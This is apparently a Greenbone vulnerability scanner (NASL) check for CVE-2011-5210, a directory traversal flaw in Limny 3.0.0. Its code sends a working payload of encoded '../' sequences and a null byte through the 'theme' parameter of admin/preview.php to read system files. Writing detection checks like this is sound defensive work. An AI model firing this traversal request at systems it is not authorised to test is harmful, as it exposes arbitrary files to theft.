Limny admin/preview.php theme Parameter Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:limny:limny";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802984");
  script_version("2023-07-25T05:05:58+0000");
  script_cve_id("CVE-2011-5210");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-10-12 15:41:59 +0530 (Fri, 12 Oct 2012)");
  script_name("Limny admin/preview.php theme Parameter Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_limny_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("limny/installed");

  script_xref(name:"URL", value:"http://secunia.com/advisories/43124");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/65083");
  script_xref(name:"URL", value:"http://www.autosectools.com/Advisories/Limny.3.0.0_Local.File.Inclusion_99.html");

  script_tag(name:"insight", value:"Input passed via 'theme' parameter to admin/preview.php is not properly
  sanitised before being used to include files.");
  script_tag(name:"solution", value:"Upgrade to Limny version 3.0.1 or later.");
  script_tag(name:"summary", value:"Limny is prone to a directory traversal vulnerability.");
  script_tag(name:"impact", value:"Successful exploitation could allow attackers to perform directory traversal
  attacks and read arbitrary files on the affected application.");
  script_tag(name:"affected", value:"Limny version 3.0.0");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  script_xref(name:"URL", value:"http://www.limny.org/download");
  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

files = traversal_files();

foreach file( keys( files ) ) {

  url = dir + "/admin/preview.php?theme=" + crap(data:"..%2f",length:3*15) +
        files[file] + "%00";

  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );